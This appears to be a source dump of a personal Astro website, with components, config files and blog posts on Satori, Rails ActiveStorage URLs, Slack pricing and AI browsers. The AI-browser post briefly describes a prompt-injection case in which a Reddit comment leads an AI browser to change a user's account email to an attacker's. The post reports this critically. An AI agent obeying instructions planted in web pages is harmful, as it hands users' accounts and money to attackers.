import Card from "@components/ui/card.astro"; 3 | import Layout from "@layouts/layout.astro"; 4 | 5 | import { DISCORD_USER_ID } from "astro:env/client"; 6 | --- 7 | 8 | 9 | 54 | 55 | -------------------------------------------------------------------------------- /src/pages/index.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { getCollection } from "astro:content"; 3 | 4 | import Hero from "@components/home/hero.astro"; 5 | import BlogPostPreview from "@components/misc/blog-post-preview.astro"; 6 | import ProjectGrid from "@components/misc/project-grid.astro"; 7 | import Layout from "@layouts/layout.astro"; 8 | import ArrowRightIcon from "lucide-astro/ArrowRight"; 9 | 10 | const blogCollection = await getCollection("blog"); 11 | const projectsCollection = await getCollection("projects"); 12 | 13 | const posts = blogCollection 14 | .filter((post) => !post.data.draft) 15 | .sort((a, b) => b.data.pubDate.valueOf() - a.data.pubDate.valueOf()); 16 | const latestThreePosts = posts.slice(0, 3); 17 | 18 | const pinnedProjects = projectsCollection.filter( 19 | (project) => project.data.pinned, 20 | ); 21 | --- 22 | 23 | 24 |
    25 | 26 | 27 |
    28 |
    29 |

    Projects

    30 | 34 | View all 35 | 36 | 37 |
    38 | 39 |
    40 | 41 |
    42 |
    43 |

    Blog

    44 | 48 | View all 49 | 50 | 51 |
    52 |
      53 | {latestThreePosts.map((post) => )} 54 |
    55 |
    56 |
    57 |
    58 | -------------------------------------------------------------------------------- /src/components/layout/footer.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import Github from "@skyfall-powered/simple-icons-astro/Github"; 3 | import X from "@skyfall-powered/simple-icons-astro/X"; 4 | import GitCommitHorizontal from "lucide-astro/GitCommitHorizontal"; 5 | import WebringSwitcher from "./webring-switcher.astro"; 6 | 7 | import childProcess from "node:child_process"; 8 | 9 | // obtain Git commit hash and message 10 | const hash = childProcess 11 | .execSync("git rev-parse --short HEAD") 12 | .toString() 13 | .trim(); 14 | 15 | const message = childProcess 16 | .execSync("git log -1 --pretty=%s") 17 | .toString() 18 | .trim(); 19 | --- 20 | 21 |
    22 |
    23 | Subscribe on RSS 24 | 32 | 39 |

    © {new Date().getFullYear()} Mahad Kalam.

    40 | 41 | 42 | 43 | 44 | {message} ({hash}) 45 | 46 |
    -------------------------------------------------------------------------------- /src/layouts/blogpost.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import type { CollectionEntry } from "astro:content"; 3 | import "remark-github-blockquote-alert/alert.css"; 4 | 5 | import Card from "@components/ui/card.astro"; 6 | import FormattedDate from "@components/ui/formatted-date.astro"; 7 | import Layout from "./layout.astro"; 8 | 9 | type Props = CollectionEntry<"blog">["data"] & { 10 | ogImage: string; 11 | }; 12 | const { title, description, pubDate, ogImage, draft } = Astro.props; 13 | --- 14 | 15 | 16 |
    17 |
    18 | 19 |
    20 |
    21 |

    22 | {title} 23 |

    24 |

    {description}

    25 |
    26 |
    27 | 28 |
    29 | { 30 | draft && ( 31 |
    32 | 33 |

    This is a draft post!

    34 |

    35 | It may have typos, unfinished sections, or inaccuracies. 36 | Please don't share it until it's been published! 37 |

    38 |
    39 |
    40 | ) 41 | } 42 |
    43 |
    44 | 45 |
    46 | 47 |
    48 | 49 |
    50 |
    51 |
    52 | 53 | 73 | -------------------------------------------------------------------------------- /src/components/home/hero.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { Image } from "astro:assets"; 3 | 4 | import OnlineStatus from "@components/home/online-status.astro"; 5 | import ChipCircle from "@components/ui/chip-circle.astro"; 6 | import Chip from "@components/ui/chip.astro"; 7 | 8 | import logoImage from "@assets/img/logo.png"; 9 | import ClockIcon from "lucide-astro/Clock"; 10 | --- 11 | 12 |
    15 |
    16 |
    17 |

    Hey, I'm Mahad! 👋

    18 |

    Nice to meet you! I'm a software engineer based in the UK.

    19 |

    20 | I love making cool experiences and technology that people actually like 21 | to use. 22 |

    23 |

    24 | When I'm not coding, I like reading, music, gaming, and playing 25 | Geoguessr, although I'm not exactly good at it :) 26 |

    27 |
    28 |
    29 | 52 |
    53 | 54 | 70 | -------------------------------------------------------------------------------- /astro.config.mjs: -------------------------------------------------------------------------------- 1 | // @ts-check 2 | import { defineConfig, envField } from "astro/config"; 3 | 4 | import mdx from "@astrojs/mdx"; 5 | import tailwind from "@astrojs/tailwind"; 6 | import sitemap from "@inox-tools/sitemap-ext"; 7 | import expressiveCode from "astro-expressive-code"; 8 | import webmanifest from "astro-webmanifest"; 9 | 10 | import vercel from "@astrojs/vercel"; 11 | 12 | import { remarkAlert } from "remark-github-blockquote-alert"; 13 | 14 | import { SITE_DESCRIPTION, SITE_TITLE } from "./src/constants"; 15 | 16 | // https://astro.build/config 17 | export default defineConfig({ 18 | site: "https://skyfall.dev", 19 | integrations: [ 20 | tailwind(), 21 | expressiveCode({ 22 | themes: ["catppuccin-macchiato", "catppuccin-latte"], 23 | }), 24 | mdx(), 25 | sitemap({ 26 | includeByDefault: true, 27 | }), 28 | webmanifest({ 29 | name: SITE_TITLE, 30 | icon: "src/assets/img/favicon.png", // source for favicon & icons 31 | 32 | short_name: SITE_TITLE, 33 | description: SITE_DESCRIPTION, 34 | start_url: "/", 35 | theme_color: "#cba6f7", // mocha mauve 36 | background_color: "#1e1e2e", // mocha base 37 | display: "standalone", 38 | }), 39 | ], 40 | 41 | markdown: { 42 | shikiConfig: { 43 | themes: { 44 | light: "catppuccin-macchiato", 45 | dark: "catppuccin-macchiato", 46 | }, 47 | }, 48 | remarkPlugins: [remarkAlert], 49 | }, 50 | 51 | env: { 52 | schema: { 53 | DISCORD_USER_ID: envField.string({ 54 | context: "client", 55 | access: "public", 56 | }), 57 | UMAMI_SCRIPT: envField.string({ 58 | context: "client", 59 | access: "public", 60 | optional: true, 61 | }), 62 | UMAMI_WEBSITE_ID: envField.string({ 63 | context: "client", 64 | access: "public", 65 | optional: true, 66 | }), 67 | SENTRY_DSN: envField.string({ 68 | context: "client", 69 | access: "public", 70 | optional: true, 71 | }), 72 | SENTRY_PROJECT_NAME: envField.string({ 73 | context: "client", 74 | access: "public", 75 | optional: true, 76 | }), 77 | SENTRY_AUTH_TOKEN: envField.string({ 78 | context: "server", 79 | access: "secret", 80 | optional: true, 81 | }), 82 | }, 83 | }, 84 | 85 | adapter: vercel(), 86 | }); 87 | -------------------------------------------------------------------------------- /src/pages/posts/[id]/og.png.ts: -------------------------------------------------------------------------------- 1 | import fs from "node:fs/promises"; 2 | import { getCollection } from "astro:content"; 3 | import type { InferGetStaticParamsType } from "astro"; 4 | import satori from "satori"; 5 | import sharp from "sharp"; 6 | 7 | import OpenGraphImage from "@components/og/image"; 8 | import { cloneElement, type h, isValidElement } from "preact"; 9 | import { Children } from "preact/compat"; 10 | import { type TailwindConfig, tailwindToCSS } from "tw-to-css"; 11 | 12 | const posts = await getCollection("blog"); 13 | const { twj } = tailwindToCSS({ 14 | config: (await import("@/../tailwind.config.mjs")).default as TailwindConfig, 15 | }); 16 | 17 | type Params = InferGetStaticParamsType; 18 | 19 | export async function GET({ params }: { params: Params }) { 20 | const post = posts.find((post) => post.id === params.id); // Find the specific post by ID 21 | if (!post) { 22 | return new Response("Post not found", { status: 404 }); 23 | } 24 | 25 | const element = OpenGraphImage(post); 26 | const jsx = inlineTailwind(element); 27 | const png = await PNG(jsx); 28 | return new Response(png, { 29 | headers: { 30 | "Content-Type": "image/png", 31 | }, 32 | }); 33 | } 34 | 35 | export async function getStaticPaths() { 36 | return posts.map((post) => ({ 37 | params: { id: post.id }, 38 | props: post, 39 | })); 40 | } 41 | 42 | function inlineTailwind(el: h.JSX.Element): h.JSX.Element { 43 | const { tw, children, style: originalStyle, ...props } = el.props; 44 | 45 | // Generate style from the `tw` prop 46 | const twStyle = tw ? twj(tw.split(" ")) : {}; 47 | 48 | // Merge original and generated styles 49 | const mergedStyle = { ...originalStyle, ...twStyle }; 50 | 51 | // Recursively process children 52 | const processedChildren = Children.map(children, (child) => 53 | isValidElement(child) ? inlineTailwind(child as h.JSX.Element) : child, 54 | ); 55 | 56 | // Return cloned element with updated props 57 | return cloneElement(el, { ...props, style: mergedStyle }, processedChildren); 58 | } 59 | 60 | export async function SVG(component: h.JSX.Element) { 61 | return await satori(component, { 62 | width: 1200, 63 | height: 630, 64 | fonts: [ 65 | { 66 | name: "Inter", 67 | data: await fs.readFile("./src/assets/fonts/og/Inter-Regular.ttf"), 68 | weight: 400, 69 | }, 70 | { 71 | name: "Inter", 72 | data: await fs.readFile( 73 | "./src/assets/fonts/og/InterDisplay-ExtraBold.ttf", 74 | ), 75 | weight: 800, 76 | }, 77 | ], 78 | }); 79 | } 80 | 81 | export async function PNG(component: h.JSX.Element) { 82 | return await sharp(Buffer.from(await SVG(component))) 83 | .png() 84 | .toBuffer(); 85 | } 86 | -------------------------------------------------------------------------------- /src/layouts/layout.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { UMAMI_SCRIPT, UMAMI_WEBSITE_ID } from "astro:env/client"; 3 | import { ClientRouter } from "astro:transitions"; 4 | import { fade } from "astro:transitions"; 5 | import { SITE_DESCRIPTION, SITE_TITLE } from "@/constants"; 6 | 7 | import "@fontsource-variable/inter"; 8 | import "@fontsource/fira-code"; 9 | 10 | import Footer from "@components/layout/footer.astro"; 11 | import Header from "@components/layout/header.astro"; 12 | interface Props { 13 | title: string; 14 | description?: string; 15 | ogImage?: string; 16 | } 17 | 18 | const { title, description = SITE_DESCRIPTION, ogImage } = Astro.props; 19 | --- 20 | 21 | 22 | 23 | 24 | 25 | 26 | {title} - {SITE_TITLE} 27 | 28 | 29 | 30 | 31 | 32 | {ogImage && } 33 | 34 | 35 | 36 | 37 | 38 | 42 | {ogImage && } 43 | 44 | 45 | 51 | 52 | { 53 | UMAMI_SCRIPT && UMAMI_WEBSITE_ID && ( 54 | 84 | )} 85 | 86 | 87 | -------------------------------------------------------------------------------- /src/content/blog/satori-with-tailwind-config.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "How to use Satori with your Tailwind config" 3 | description: "A quick guide to using Satori with your Tailwind plugins, fonts, and everything else in your config!" 4 | tags: ["satori", "tailwind"] 5 | pubDate: "November 30, 2024 21:00" 6 | --- 7 | 8 | [Satori](https://github.com/vercel/satori) is an easy to use library that lets you generate an SVG file using React (or Preact)! In my opinion, it's _the_ nicest way to generate images. 9 | 10 | Satori also comes with Tailwind support by default, but there's a catch - it doesn't work with your Tailwind config out-of-the-box. In this blog post, I'll be showing you how to get Satori to work with your Tailwind config! 11 | 12 | ## Installing dependencies 13 | 14 | We'll first need to download the dependencies we need. I'll be using Preact in this tutorial, but React works too (albeit with a few minor changes in the imports and types) 15 | 16 | ```bash 17 | npm install preact # or `npm install react` 18 | npm install satori 19 | ``` 20 | 21 | We'll also need the `tw-to-css` library, which'll convert our Tailwind classes into a `style` prop that Satori can render. 22 | 23 | ```bash 24 | npm install tw-to-css 25 | ``` 26 | 27 | ## The Code 28 | 29 | First, let's import the things we'll be using: 30 | 31 | ```ts 32 | import { tailwindToCSS, type TailwindConfig } from "tw-to-css"; 33 | import { cloneElement, isValidElement, type h } from "preact"; 34 | import { Children } from "preact/compat"; 35 | ``` 36 | 37 | We then need to get a `twj` function (Tailwind to JSON); we'll use it to convert our Tailwind classes into an object of inline styles that the `style` prop will use: 38 | 39 | ```ts 40 | const { twj } = tailwindToCSS({ 41 | config: (await import("../tailwind.config.mjs")).default as TailwindConfig, 42 | }); 43 | ``` 44 | 45 | Make sure to replace the path above with the path to your Tailwind config! 46 | 47 | Now, let's define an `inlineTailwind` function that'll convert the Tailwind classes into inline styles: 48 | 49 | ```ts 50 | function inlineTailwind(el: h.JSX.Element): h.JSX.Element { 51 | const { tw, children, style: originalStyle, ...props } = el.props; 52 | // Generate style from the `tw` prop 53 | const twStyle = tw ? twj(tw.split(" ")) : {}; 54 | // Merge original and generated styles 55 | const mergedStyle = { ...originalStyle, ...twStyle }; 56 | // Recursively process children 57 | const processedChildren = Children.map(children, (child) => 58 | isValidElement(child) ? inlineTailwind(child as h.JSX.Element) : child, 59 | ); 60 | // Return cloned element with updated props 61 | return cloneElement(el, { ...props, style: mergedStyle }, processedChildren); 62 | } 63 | ``` 64 | 65 | And you're done! Here's an example of how you can use this function: 66 | 67 | ```tsx 68 | function Component() { 69 | return
    Hi there! 👋
    ; 70 | } 71 | 72 | const element = Component(); 73 | const jsx = inlineTailwind(element); 74 | const svg = await satori(jsx, { 75 | width: 1200, 76 | height: 630, 77 | // ... any other satori options 78 | }); 79 | ``` 80 | 81 | _Thanks to [this issue on GitHub](https://github.com/vercel/satori/discussions/529) for parts of the code!_ 82 | -------------------------------------------------------------------------------- /src/content/blog/activestorage-file-id.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Getting Rails' ActiveStorage blob IDs from file URLs" 3 | description: "Learn how to extract ActiveStorage blob IDs from expiring ActiveStorage URLs." 4 | tags: ["rails", "activestorage", "blob", "url"] 5 | pubDate: "December 12, 2025 18:00" 6 | draft: false 7 | --- 8 | 9 | When working with Rails' ActiveStorage, you might encounter situations where you need to extract the blob ID from an expiring ActiveStorage URL. In my case, it was because I was scraping images from a Rails application that used ActiveStorage, but I wanted to be polite about it and not download hundreds of images every few minutes unnecessarily. 10 | 11 | I ran into a problem though, where the URLs I was getting were expiring URLs that looked like this: 12 | 13 | ```text 14 | https://theapp.gg/rails/active_storage/representations/proxy/eyJfcmFpbHMiOnsiZGF0YSI6MzQwLCJwdXIiOiJibG9iX2lkIn19--8c59415975dbced2130a99575689db332f57b019/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJ3ZWJwIiwicmVzaXplX3RvX2xpbWl0IjpbMzYwLG51bGxdLCJzYXZlciI6eyJzdHJpcCI6dHJ1ZSwicXVhbGl0eSI6NzV9fSwicHVyIjoidmFyaWF0aW9uIn19--d6a39ad4705dc76c8821affe402d334558212c92/image.png 15 | ``` 16 | 17 | The expiring URLs meant that I couldn't just check equality with just the previous URL. That URL is a bit of a mess, right? However, hidden within that long string is a base64-encoded JSON object that contains a consistent **blob ID** we can use to identify the image and check inequalities with a previous URL. 18 | 19 | ```rust 20 | use base64::prelude::*; 21 | use color_eyre::{Result, eyre::eyre}; 22 | use reqwest::Url; 23 | use serde::Deserialize; 24 | 25 | #[derive(Deserialize, Debug)] 26 | struct BlobInfo { 27 | #[serde(rename = "_rails")] 28 | rails: RailsData, 29 | } 30 | 31 | #[derive(Deserialize, Debug)] 32 | struct RailsData { 33 | #[serde(rename = "data")] 34 | blob_id: usize, 35 | } 36 | 37 | pub fn get_rails_blob_id(url: &Url) -> Result { 38 | let s3_info = url 39 | .path() 40 | .split('/') 41 | .rev() 42 | .nth(2) // Get the third element from the end (see the rev() above) 43 | .ok_or_else(|| eyre!("can't find raw s3"))?; 44 | let blob_info_b64 = s3_info 45 | .split("--") 46 | .next() 47 | .ok_or_else(|| eyre!("can't find the blob info"))?; 48 | let blob_info_bytes = BASE64_STANDARD.decode(blob_info_b64)?; 49 | let blob_info_string = String::from_utf8(blob_info_bytes)?; 50 | let blob_info: BlobInfo = serde_json::from_str(&blob_info_string)?; 51 | Ok(blob_info.rails.blob_id) 52 | } 53 | ``` 54 | 55 | In this example, `get_rails_blob_id` will spit out the blob ID (`340` in this case) from the provided ActiveStorage URL. 56 | 57 | In case you're curious, here's a quick breakdown of how it works: 58 | 59 | 1. We split the URL path by `/` and extract the third segment from the end, which contains the base64-encoded JSON. 60 | 2. We split that segment by `--` to isolate the base64 string. (in this case, `eyJfcmFpbHMiOnsiZGF0YSI6MzQwLCJwdXIiOiJibG9iX2lkIn19`) 61 | 3. We decode the base64 string to get the JSON representation. 62 | 4. And finally, we read `_rails.data` from the JSON to get the blob ID. 63 | 64 | Since ActiveStorage won't reuse blob IDs, you can use this method to uniquely identify files even if the URLs change due to expiration. Bit of a niche use case, but hopefully this helps someone out there! 65 | -------------------------------------------------------------------------------- /src/content/blog/slack.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Slack is extorting us with a $195k/yr bill increase" 3 | description: "An open letter, or something" 4 | pubDate: "September 18, 2025 18:00" 5 | draft: false 6 | tags: ["slack", "hackclub"] 7 | --- 8 | 9 | ## The good ending 10 | 11 | Turns out that this post went pretty viral on [Hacker News](https://news.ycombinator.com/item?id=45283887) and Twitter/X: 12 | 13 | image 14 | 15 | I'm very happy to announce that a couple hours ago, Slack's CEO got in contact with us and offered to put things right (I can't exactly say what it is, but it's better than the plan we were on previously!) A massive thank you to everyone who helped spread awareness - it was incredibly heartwarming to see so many people support us and help get this sorted. 16 | 17 | With that being said though, this ordeal has made us think more deeply about entrusting data with external SaaSes and ensuring that we _own_ our data is definitely going to be a very big priority going forward. I'd encourage you to think the same way! 18 | 19 | --- 20 | 21 | For nearly 11 years, Hack Club - a nonprofit that provides coding education and community to teenagers worldwide - has used Slack as the tool for communication. We weren't freeloaders. A few years ago, when Slack transitioned us from their free nonprofit plan to a $5,000/year arrangement, we happily paid. It was reasonable, and we valued the service they provided to our community. 22 | 23 | However, two days ago, Slack reached out to us and said that if we don't agree to pay an extra $50k **this week** and $200k a year, they'll deactivate our Slack workspace and delete all of our message history. 24 | 25 | One could argue that Slack is free to stop providing us the nonprofit offer at any time, but in my opinion, a six month grace period is the _bare minimum_ for a massive hike like this, if not more. Essentially, Salesforce (a **$230 billion** company) is strong-arming a small nonprofit for teens, by providing less than a week to pony up a pretty massive sum of money, or risk cutting off all our communications. That's absurd. 26 | 27 | ## The impact 28 | 29 | The small amount of notice has also been catastrophic for the programs that we run. Dozens of our staff and volunteers are now scrambling to update systems, rebuild integrations and migrate _years_ of institutional knowledge. The opportunity cost of this forced migration is simply staggering. 30 | 31 | image 32 | 33 | image 34 | 35 | image 36 | 37 | image 38 | 39 | Anyway, we're moving to Mattermost. This experience has taught us that owning your data is incredibly important, and if you're a small business especially, then I'd advise you move away too. 40 | 41 | --- 42 | 43 | _This post was rushed out because, well, this has been a shock! If you'd like any additional details then feel free to send me an email._ 44 | -------------------------------------------------------------------------------- /src/components/misc/project-preview.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { Image } from "astro:assets"; 3 | import type { CollectionEntry } from "astro:content"; 4 | import Card from "../ui/card.astro"; 5 | 6 | import Loops from "@components/misc/loops-icon.astro"; 7 | // Technically, this whole spiel can be replaced with a nice dynamic import. 8 | // However, this *massively* increases build times because Vite isn't smart enough to 9 | // know that only the icons that are used in the content files are actually imported, 10 | // so it has to import them all. This is *slow!* 11 | import Airtable from "@skyfall-powered/simple-icons-astro/Airtable"; 12 | import AstroIcon from "@skyfall-powered/simple-icons-astro/Astro"; 13 | import Drizzle from "@skyfall-powered/simple-icons-astro/Drizzle"; 14 | import Playwright from "@skyfall-powered/simple-icons-astro/Playwright"; 15 | import React from "@skyfall-powered/simple-icons-astro/React"; 16 | import Reactrouter from "@skyfall-powered/simple-icons-astro/Reactrouter"; 17 | import Rust from "@skyfall-powered/simple-icons-astro/Rust"; 18 | import Slack from "@skyfall-powered/simple-icons-astro/Slack"; 19 | import Svelte from "@skyfall-powered/simple-icons-astro/Svelte"; 20 | import Tailwindcss from "@skyfall-powered/simple-icons-astro/Tailwindcss"; 21 | import Turso from "@skyfall-powered/simple-icons-astro/Turso"; 22 | import Typescript from "@skyfall-powered/simple-icons-astro/Typescript"; 23 | import Vuedotjs from "@skyfall-powered/simple-icons-astro/Vuedotjs"; 24 | import Wakatime from "@skyfall-powered/simple-icons-astro/Wakatime"; 25 | import Docker from "@skyfall-powered/simple-icons-astro/Docker"; 26 | import Bun from "@skyfall-powered/simple-icons-astro/Bun"; 27 | import Postgresql from "@skyfall-powered/simple-icons-astro/Postgresql"; 28 | 29 | const { project } = Astro.props as { project: CollectionEntry<"projects"> }; 30 | const image = project.data.smallTileImage || project.data.mainImage; 31 | 32 | const iconMap = { 33 | Astro: AstroIcon, 34 | Svelte, 35 | Typescript, 36 | Tailwindcss, 37 | Rust, 38 | Slack, 39 | Playwright, 40 | Reactrouter, 41 | React, 42 | Airtable, 43 | Vuedotjs, 44 | Drizzle, 45 | Turso, 46 | Wakatime, 47 | Loops, 48 | Docker, 49 | Bun, 50 | Postgresql, 51 | }; 52 | 53 | type IconType = keyof typeof iconMap; 54 | 55 | const icons = project.data.tools.map((tool) => { 56 | const Icon = iconMap[tool as IconType]; 57 | if (!Icon) throw new Error(`Unknown icon: ${tool}`); 58 | return Icon; 59 | }); 60 | --- 61 | 62 |
  • 63 | 64 | 65 | 70 |
    71 | {project.data.title} 77 |
    78 |
    79 |
    80 |

    81 | {project.data.title} 82 |

    83 |

    {project.data.tagline}

    84 |
    85 |
    88 | {icons.map((Icon) => Icon && )} 89 |
    90 |
    91 |
    92 |
    93 |
  • 94 | -------------------------------------------------------------------------------- /tailwind.config.mjs: -------------------------------------------------------------------------------- 1 | import catppuccin from "@catppuccin/tailwindcss"; 2 | import typography from "@tailwindcss/typography"; 3 | import defaultTheme from "tailwindcss/defaultTheme"; 4 | 5 | const accent = "text"; 6 | const linkColor = "sky"; 7 | 8 | /** @type {import('tailwindcss').Config} */ 9 | export default { 10 | content: ["./src/**/*.{astro,html,js,jsx,md,mdx,svelte,ts,tsx,vue}"], 11 | theme: { 12 | extend: { 13 | fontFamily: { 14 | sans: ["Inter Variable", ...defaultTheme.fontFamily.sans], 15 | mono: ["Fira Code", ...defaultTheme.fontFamily.mono], 16 | }, 17 | typography: (theme) => ({ 18 | DEFAULT: { 19 | css: { 20 | "blockquote p:first-of-type::before": { content: "none" }, 21 | "blockquote p:first-of-type::after": { content: "none" }, 22 | 23 | "--tw-prose-body": theme("colors.text.DEFAULT"), 24 | "--tw-prose-headings": theme(`colors.${accent}.DEFAULT`), 25 | "--tw-prose-lead": theme("colors.text.DEFAULT"), 26 | "--tw-prose-links": theme(`colors.${linkColor}.DEFAULT`), 27 | "--tw-prose-bold": theme(`colors.${accent}.DEFAULT`), 28 | "--tw-prose-counters": theme(`colors.${accent}.DEFAULT`), 29 | "--tw-prose-bullets": theme(`colors.${accent}.DEFAULT`), 30 | "--tw-prose-hr": theme(`colors.${accent}.DEFAULT`), 31 | "--tw-prose-quotes": theme(`colors.${accent}.DEFAULT`), 32 | "--tw-prose-quote-borders": theme(`colors.${accent}.DEFAULT`), 33 | "--tw-prose-captions": theme(`colors.${accent}.DEFAULT`), 34 | "--tw-prose-code": theme(`colors.${accent}.DEFAULT`), 35 | "--tw-prose-pre-code": theme(`colors.${accent}.DEFAULT`), 36 | "--tw-prose-pre-bg": theme("colors.base.DEFAULT"), 37 | "--tw-prose-th-borders": theme(`colors.${accent}.DEFAULT`), 38 | "--tw-prose-td-borders": theme(`colors.${accent}.DEFAULT`), 39 | "--tw-prose-invert-body": theme(`colors.${accent}.DEFAULT`), 40 | "--tw-prose-invert-headings": theme("colors.white"), 41 | "--tw-prose-invert-lead": theme(`colors.${accent}.DEFAULT`), 42 | "--tw-prose-invert-links": theme("colors.white"), 43 | "--tw-prose-invert-bold": theme("colors.white"), 44 | "--tw-prose-invert-counters": theme(`colors.${accent}.DEFAULT`), 45 | "--tw-prose-invert-bullets": theme(`colors.${accent}.DEFAULT`), 46 | "--tw-prose-invert-hr": theme(`colors.${accent}.DEFAULT`), 47 | "--tw-prose-invert-quotes": theme(`colors.${accent}.DEFAULT`), 48 | "--tw-prose-invert-quote-borders": theme( 49 | `colors.${accent}.DEFAULT`, 50 | ), 51 | "--tw-prose-invert-captions": theme(`colors.${accent}.DEFAULT`), 52 | "--tw-prose-invert-code": theme("colors.white"), 53 | "--tw-prose-invert-pre-code": theme(`colors.${accent}.DEFAULT`), 54 | "--tw-prose-invert-pre-bg": "rgb(0 0 0 / 50%)", 55 | "--tw-prose-invert-th-borders": theme(`colors.${accent}.DEFAULT`), 56 | "--tw-prose-invert-td-borders": theme(`colors.${accent}.DEFAULT`), 57 | }, 58 | }, 59 | }), 60 | keyframes: { 61 | "slide-down": { 62 | "0%": { transform: "translateY(-10px)", opacity: "0" }, 63 | "100%": { transform: "translateY(0)", opacity: "1" }, 64 | }, 65 | "slide-up": { 66 | "0%": { transform: "translateY(0)", opacity: "1" }, 67 | "100%": { transform: "translateY(-10px)", opacity: "0" }, 68 | }, 69 | }, 70 | animation: { 71 | "slide-down": "slide-down 0.2s ease-out", 72 | "slide-up": "slide-up 0.15s ease-in", 73 | }, 74 | }, 75 | }, 76 | plugins: [ 77 | catppuccin({ 78 | defaultFlavour: "mocha", 79 | }), 80 | typography, 81 | ], 82 | }; 83 | -------------------------------------------------------------------------------- /src/assets/img/rust.svg: -------------------------------------------------------------------------------- 1 | Rust -------------------------------------------------------------------------------- /src/components/layout/header.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { SITE_TITLE } from "../../constants"; 3 | 4 | const NAV_ITEMS = [ 5 | { href: "/", text: "Home" }, 6 | { href: "/posts", text: "Blog" }, 7 | { href: "/projects", text: "Projects" }, 8 | { href: "https://github.com/SkyfallWasTaken", text: "GitHub" }, 9 | { href: "/contact", text: "Contact" }, 10 | ]; 11 | --- 12 | 13 | 73 | 74 | 125 | -------------------------------------------------------------------------------- /src/assets/img/hc-icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /src/content/blog/ai-browsers.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Why AI browsers haven't taken off" 3 | description: "In theory, AI browsers are huge time-savers. So why aren't they more popular?" 4 | pubDate: "October 22, 2025 18:00" 5 | draft: false 6 | tags: ["ai", "chatgpt", "openai"] 7 | --- 8 | 9 | Recently OpenAI released [ChatGPT Atlas](http://chatgpt.com/atlas), their AI browser for macOS. It’s got some interesting features (like the UI being written in SwiftUI), but for the most part I think despite ChatGPT's huge userbase (800 million active users a _week!_), reception to Atlas (and other browsers like Perplexity Comet) has been pretty mixed. Here’s why I think that’s been the case. 10 | 11 | ## Privacy concerns 12 | 13 | I like AI, but I personally don’t trust it enough to let it read my entire search history and send my browsing data to OpenAI. My browsing data has private stuff I’d rather not have VC-backed companies to know about. Sure, the web has a *lot* of tracking, but the data these companies have is more limited and is spread out across multiple companies (plus I use an adblocker anyway, which helps somewhat). I’m personally not comfortable enough to share it all with a single company. 14 | 15 | I think asking users for consent before sending the data is a very good thing to do 16 | 17 | ## They aren’t good enough 18 | 19 | Unfortunately, AI browsers, for the most part, aren’t smart enough that most people will want to switch over from Chrome/Safari/Firefox/whatever to use something different. They make a lot of mistakes, are slow, and in the case of “finding the best deal/thing/whatever”, often don’t actually find the best thing - rather they find something well-known, which might not fit your criteria. 20 | 21 | To give an example: I asked a relatively popular AI browser to find me the cheapest Raspberry Pi Zero 2W in Estonia. What it did was open the stores for the wrong country or fail to take things like shipping into account ($10 + $10 shipping is more expensive than $12 + $5 shipping!), even after careful prompting, which made it a bad experience overall. 22 | 23 | It’s also worth bearing in mind that while being able to do these tasks in theory is quite useful, in practice a human needs to be in the loop anyway to make the best decision or steer the browser towards the user’s end goal (unless you spend a long time prompting). There are some cases where it would be useful in theory, like with travel (where you can just give it some dates and the home/return location), which is why I think nearly every single AI company includes booking flights and/or hotels in their demos, but these are rare cases, and honestly not worth installing a new browser to do. 24 | 25 | ## Prompting can take time 26 | 27 | Here’s an example: let’s say that I want to buy PC parts, so I go off and ask AI to make me a part list. The problem with this is that AI is not a mindreader (yet!) and won’t know my exact requirements. Maybe it chooses an NVIDIA GPU, but I’m a Linux user, I want an AMD one! Or maybe it chooses a case, but I want one that’s cheaper, looks better, or maybe has better airflow. Or maybe it puts more money into the GPU than the rest of the build, but I don’t do GPU-intensive tasks so I’d rather have a faster CPU or SSD. 28 | 29 | Now, can you solve this with prompting? Well, yes, but it takes time to tell the AI every single thing that is important to you, and as mentioned previously, it’s not a mindreader - it will likely choose parts that you aren’t interested in. The time needed to prompt it well enough would likely make choosing them yourself/remixing someone else’s part list a lot quicker than asking the AI to do it. 30 | 31 | ## They’re slow 32 | 33 | Links back to my last point, but AI is really slow with this sort of thing. With code, sure, for a lot of cases AI can write the code faster than it’d take me to write it, but for browsing, AI has problems, such as the frontier models taking 10+ seconds just to click a link in search results. In theory, if the AI knew exactly what your task was, it wouldn’t be an issue (just leave it to run and get a coffee or something!), but with the steering issue I mentioned previously, a human has to be in the loop so it doesn’t do the wrong thing. As it stands though, with AI’s slowness, it’s often easier to just do the task yourself! 34 | 35 | ## They can be jailbroken 36 | 37 | I don’t think this is why AI browsers haven’t taken off, but AI browsers can be jailbroken by.. writing on the page! Here’s an example: Brave showed how it’s possible to [steal someone’s Perplexity account](https://brave.com/blog/comet-prompt-injection) by getting them to view a Reddit post and ask for a summarisation. Then the browser reads the comment, thinks that the user wants them to change their Perplexity account’s email to one of an attacker, and dutifully follows the attacker’s instructions. And in theory, this could be taken even further (e.g. by telling the browser to send money via PayPal to an attacker), and so it’s not something I’d personally feel comfortable leaving unattended. 38 | 39 | --- 40 | 41 | I think it’s worth pointing out that I’m genuinely excited for AI browsers to evolve to be more secure, private, and smart, because in the right situation, I can definitely see them saving me time (that is why I tried them in the first place!) However, as it stands, I do think that they need some work, but I’m excited to see how they improve as time goes on. 42 | 43 | Thanks for reading, I’ll see you around! 44 | -------------------------------------------------------------------------------- /src/content/blog/spaces-vuln.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Here’s how I got full admin rights in a Replit 